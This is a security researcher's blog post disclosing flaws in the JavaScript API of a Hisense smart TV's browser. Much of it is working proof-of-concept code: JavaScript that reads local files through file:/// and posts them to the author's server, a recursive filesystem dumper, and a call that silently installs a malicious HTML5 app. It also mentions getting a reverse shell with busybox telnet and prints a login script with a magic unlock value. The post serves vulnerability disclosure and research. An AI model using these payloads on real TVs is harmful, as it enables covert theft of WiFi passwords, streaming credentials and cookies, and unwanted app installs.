Instead of watching The Bachelor, I’ve decided to take a look at the security of my Hisense smart TV. I’ve found a way to read arbitrary files from the file system. Also, (over)writing specific files, as well as installing malicious HTML5 applications was found to be possible. All of that can be performed from the web browser, using the custom JavaScript API that was implemented by the vendor.
You can find some PoCs at the end of this blog post. As a bonus, you can visit this blog post with a Hisense TV and check if the device is affected or not.
Attack Surface
The UI of my Hisense A7100F TV is based on a system called VIDAA. Most things that are visible to users are running in a browser and the whole UI was coded in HTML5 and JavaScript. For me, the attack surface of such a device essentially boiled down to:
- Hardware based attacks, such as searching for debug ports on the mainboard.
- The software updating process.
- Exploiting a service on the TV.
- Hidden functionality, such as service menus.
- Using the integrated web browser as an entry point.
Since I don’t feel like bricking my TV right away, hardware based stuff just isn’t the right approach for me :D Also, clever people already found out that there’s a root shell accessible via UART on a 3.5mm jack port on some Hisense TVs, so I wanted to check what’s possible from the software side. Furthermore, the UART thing doesn’t seem to work for my TV since the required port is not available. I’ve tested this with a USB-to-TTL adapter and a 3.5mm connector.
The TV’s software can be updated via USB and OTA but there’s only limited availability of update packages and they seem to be encrypted, so this route would require some additional work, if it would work at all. I’ve performed a port scan of the TV and found some MQTT and DIAL services, but nothing too promising.
Custom JavaScript API
I’ve decided to research whether hidden debugging features are activated. It turns out that the integrated web browser of the TV implements a special hisense://debug
URL handler. It allows adding additional HTML5 applications by specifying an application’s URL. At first, this seems to be just a shortcut on the menu that points to an arbitrary URL. But, as I discovered, web sites launched in HTML5 application mode seem to have access to additional functionality of the browser.
Using the file:///
handler is one feature of this kind. A common trick when exploiting HTML-to-PDF converters is to use this handler in combination with an XMLHttpRequest
to read local files. The same attack can be performed on Hisense TVs using the following code:
<html>
<head>
<meta http-equiv="refresh" content="1; URL=/">
</head>
<body onload="readTextFile('file:///etc/passwd')">
<script>
function readTextFile(filename) {
var rawFile = new XMLHttpRequest();
rawFile.open("GET", filename, false);
rawFile.onreadystatechange = function () {
if (rawFile.readyState === 4) {
if (rawFile.status === 200 || rawFile.status == 0) {
var daText = rawFile.responseText;
// POST data to me :)
var formData = new FormData();
formData.append("name", filename)
formData.append("file", daText + "\r\n\r\n\r\n");
fetch('/upload/file', { method: "POST", body: formData });
alert("YOLO!");
}
}
}
rawFile.send(null);
}
</script>
</body>
</html>
This reads the /etc/passwd
file from the TV’s file system and transfers it back to my machine using a POST request. As can be seen above, I’ve added a refresh
directive to the site that allows me to dump multiple things programmatically. The HTML5 applications refreshes the site after sending a file and can therefore be instrumented to read and send another file afterwards. An interesting fact is that this did not work from the regular context that’s available by simply opening a browser and visiting a web site.
A convenient thing is that both files and directory contents can be dumped this way. For example, specifying file:///
allows dumping the directory listing of the /
directory in HTML format:
addRow("appcache","appcache",1,"4.0 kB", [...])
addRow("applications","applications",1,"4.0 kB", [...])
addRow("bin","bin",1,"808 B", [...])
addRow("cacert","cacert",1,"4.0 kB","")
addRow("certificate","certificate",1,"1.0 kB", [...])
addRow("config","config",1,"4.0 kB", [...])
addRow("Customer","Customer",1,"4.0 kB", [...])
addRow("CustomerBackup","CustomerBackup",1,"3 B", [...])
addRow("data","data",1,"4.0 kB", [...])
addRow("database","database",1,"3 B", [...])
addRow("dev","dev",1,"3.7 kB", [...])
addRow("etc","etc",1,"502 B", [...])
addRow("font","font",1,"37 B", [...])
addRow("hidata","hidata",1,"59 B", [...])
addRow("home","home",1,"3 B", [...])
addRow("lib","lib",1,"1.2 kB", [...])
addRow("lost+found","lost+found",1,"3 B", [...])
addRow("mnt","mnt",1,"2.9 kB", [...])
addRow("mslib","mslib",1,"8.0 kB", [...])
addRow("OAD","OAD",1,"4.0 kB", [...])
addRow("opt","opt",1,"4.0 kB","")
addRow("proc","proc",1,"0 B","")
addRow("root","root",1,"3 B", [...])
addRow("sbin","sbin",1,"604 B", [...])
addRow("serialdata","serialdata",1,"4.0 kB","")
addRow("subsystem","subsystem",1,"3 B", [...])
addRow("sys","sys",1,"0 B", [...])
addRow("system","system",1,"3 B", [...])
addRow("tmp","tmp",1,"760 B", [...])
addRow("tvcommon","tvcommon",1,"1.0 kB","")
addRow("tvconfig","tvconfig",1,"4.0 kB","")
addRow("tvcustomer","tvcustomer",1,"4.0 kB","")
addRow("tvdatabase","tvdatabase",1,"4.0 kB","")
addRow("tvservice","tvservice",1,"4.0 kB","")
addRow("usb","usb",1,"4.0 kB", [...])
addRow("usr","usr",1,"64 B", [...])
addRow("var","var",1,"440 B", [...])
addRow("vddt","vddt",1,"4.0 kB", [...])
addRow("vendor","vendor",1,"26 B", [...])
addRow("init","init",0,"559 kB", [...])
addRow("linuxrc","linuxrc",0,"559 kB", [...])
The browser seems to be able to read the contents of the /root
directory as well :) I’ve then developed a function that dumps the directory listings of each directory recursively to get a better understanding of the file system structure:
function dumpFS(path) {
var content = readFS(path);
postContent(path, content);
var lines = content.split("\n");
for (var idx in lines) {
var line = lines[idx];
// not an entry
if(line.indexOf("addRow") == -1) {
continue
}
// check if dir flag is set (don't dump files in this step)
// 1 --> dir
// 0 --> file
if (line.indexOf(",1,") == -1) {
continue
}
// parse directory listing entry
var entryName = line.split('("')[1].split('"')[0];
entryName = entryName.replace('script', '').replace(/^\s+|\s+$/g, '');
var wholePath = path + "/" + entryName;
// don't ask why
wholePath = wholePath.replace("//", "/");
wholePath = wholePath.replace("//", "/");
// don't dump specific directories
if (wholePath.includes(".") || wholePath.includes("/proc") || wholePath.includes("/udev") || wholePath.includes("/dev") || wholePath.includes("/sys")) {
continue;
}
dumpFS(wholePath);
}
if(path == "/") {
alert("DONE");
}
}
The HTTP server on my machine then receives the POST requests, parses the received content and stores the output. My server is based on this gist.
Using the Browser’s File API
My initial observation was that the browser application has to be able to read and write files, since the created shortcut to my HMTL5 application was persistent across device reboots. The shortcut was added by using the browser’s debug menu, so the next logical step was to dump the HTML and JavaScript files of the hisense://debug
web site that are stored on the file system.
It turns out, that File
can be used to both read and write files on the file system, as can be seen in the dumped JavaScript files:
var installedAppJsonStr = File.read("launcher/Appinfo.json",1);
[...]
File.write("launcher/Appinfo.json", writedata, 1);
It’s important to note that the specified paths aren’t absolute. This means that sequences of ../
have to be prepended to reach directories and files stored in other locations. Also, don’t confuse this API with the HTML5 File API – this API is entirely different. Interestingly, using File.write()
seems to allow writing to arbitrary writable locations, whereas File.read()
only allows to read files within a specific directory.
Now, there’s a little issue here. Most things are mounted as read-only on the TV’s file system :( This means that only specific files and directories are writable. I’ve found multiple ways to potentially brick my TV using this API. However, so far I haven’t found a shell script or binary in a writable location that can be manipulated to gain code execution on the system.
Apparently, there’s a file called run-OtaUpgrade.sh
in a writable location on some Hisense TVs. Some people on XDA successfully edited this file via the UART root console to turn on telnetd
during boot. Unfortunately, this file is not present on my device. Another person reported that this file can be created in case it doesn’t exist but it may also prevent the TV from booting in some cases :D I don’t feel like buying a new TV, so I decided not to try it.
Maybe it’s possible to remotely root specific Hisense TVs using the method I described. In case the mentioned shell script exists, it could potentially be overwritten with custom commands that are invoked during a reboot. Maybe. Maybe not.
Installing Malicious HTML5 Applications
Another interesting thing to point out is that the File
API can be reached from the normal browser context and does not require an HTML5 application.
OK, let’s summarize what’s possible with the JavaScript API. Among other things, any website you visit via the web browser is able to:
- Write to arbitrary (?) writable locations on the TV.
- Read all files under
/dev/shm/local/applications/UI
. For example, this includes reading your Netflix suggestions and your name, as specified in the user account.
Since reading files is quite limited, I’ve searched for a way to somehow switch from the regular browser context to an HTML5 application context, where arbitrary files could be extracted from a TV via file://
. An attack like this would involve someone visiting a malicious web page with the TV’s browser and getting owned by getting sensitive files extracted by an attacker.
Exploring the JavaScript API
Since JavaScript is cool and all, some available functions of the current context can be enumerated with Object.getOwnPropertySymbols(window)
. This revealed several custom functions with the prefix Hisense_*
like:
Hisense_installApp()
Hisense_launchAppViaName()
Hisense_launchAppViaUri()
Hisense_StartApp()
The source code of these functions can be dumped with alert(<function name>)
.
Silently Installing an HTML5 Application
The plan was to use the Hisense_installApp()
function to install an HTML5 application on a TV, which can be triggered from the regular browser context. This means that everyone visiting a specially prepared website with a Hisense TV’s browser will get my super cool HTML5 application installed silently without any visible indication. The application then ends up on the regular Application menu with a custom icon.
Here’s some code that does just this:
function hax() {
// custom icon
var thumb = "https://pbs.twimg.com/profile_images/1144333025490210816/grBuwqHH_400x400.png";
// has to be a unique name
var appName = "uberpwner13371337";
var thumbnail = thumb;
var iconSmall = thumb;
var iconBig = thumb;
var AppUrl = "https://bananamafia.dev/post/hisensehax/";
var storetype = "store";
var appId = appName;
Hisense_installApp(appId, appName, thumbnail, iconSmall, iconBig, AppUrl, storetype, installCallBack);
}
function installCallBack(res) {
if (res == 0) {
// worked
} else {
// didn't work
}
}
As can be seen, an HTML5 application only consists of a URL and some meta data. Internally, the installation process writes a JSON structure with all this information into the file Appinfo.json
, where all custom applications are stored.
I haven’t found a way that allows uninstalling these apps from the UI, it’s however possible using another API function.
Launching the Application
There are a few ways this could be done:
- Using the
Hisense_StartApp()
function, which didn’t work for me unfortunately. - Writing the application’s JSON data into
preset.txt
instead ofAppinfo.json
. Thepreset.txt
file includes URLs to various default applications and it may for example be possible to replace the URL of the YouTube application. There’s even an API that does just this. Since this can brick my UI, I didn’t try this though. - Using a convincing application icon that tricks a user into opening the malicious application. I’ve recorded a demo for this, which you can find below.
As soon as someone opens the malicious application, every file stored on the TV can be sent to the attacker. This could include the WiFi password, entered Netflix/YouTube/Whatever credentials, cookies and so on.
Demo
Things That Didn’t Work
- I wanted to get a list of processes running on the system by reading the files stored in
/proc/<pid>/*
. This somehow didn’t return any data, although reading files in/root
worked. - Checking the mount options of different file systems via the file
/etc/mounts
didn’t work because the file was empty. I’ve checked/etc/fstab
instead. - Calling
telnetd
wouldn’t just work out of the box on this device. Thebusybox
binary was modified by Hisense to removetelnetd
and FTP functionality. I guess piping/bin/sh
throughbusybox telnet
in background would work to get a reverse shell. Of course, any ARM based reverse shell or telnet binary could be uploaded and executed as well.
A Mysterious Shell Script Appears
I’ve found this in /etc/login.sh
:
#!/bin/sh
stty -echo
while true
do
read line
# if [ $(echo -n "x${line}" | md5sum | awk '{print $1}') = "e6007a36a7bacfb32502f787431664df" ]; then
if [ "$line" = "05328087" ]; then
stty echo
exit 0
fi
done
In case you didn’t know: The command stty -echo
changes the settings of the current shell to disable input echoing. Unless the magic value 05328087
is entered, no input feedback will be provided by the shell. This makes me think that there’s another (serial?) console hidden somewhere… :(
PoCs aka Please Hack My TV
You can trigger different PoCs using the buttons below. Don’t blame me for any damage, though.
Reading Netflix Preferences
Netflix PoC
Installing an Application
Install PoC
Reading /etc/passwd
You need to be in HTML5 application mode for this – see the section above for a PoC.
/etc/passwd PoC
I’ve kindly asked the vendor if they wanted to chat about this but they didn’t reply :(